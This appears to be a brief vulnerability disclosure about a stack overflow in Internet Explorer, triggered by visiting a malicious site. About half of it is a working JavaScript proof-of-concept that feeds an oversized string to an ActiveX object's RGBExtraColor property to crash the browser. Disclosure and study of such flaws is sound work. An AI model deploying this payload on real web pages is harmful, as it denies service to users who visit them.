Microsoft Internet Explorer is prone to a stack-overflow vulnerability.
This issue is triggered when an attacker convinces a victim user to visit a malicious website.
Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.
var b = 'XXXX';
while(b.length <=1024*1024) b+=b;
var a = new ActiveXObject('DXImageTransform.Microsoft.NDFXArtEffects.1');
var i = 1016320;
a.RGBExtraColor = b.substring(0,i);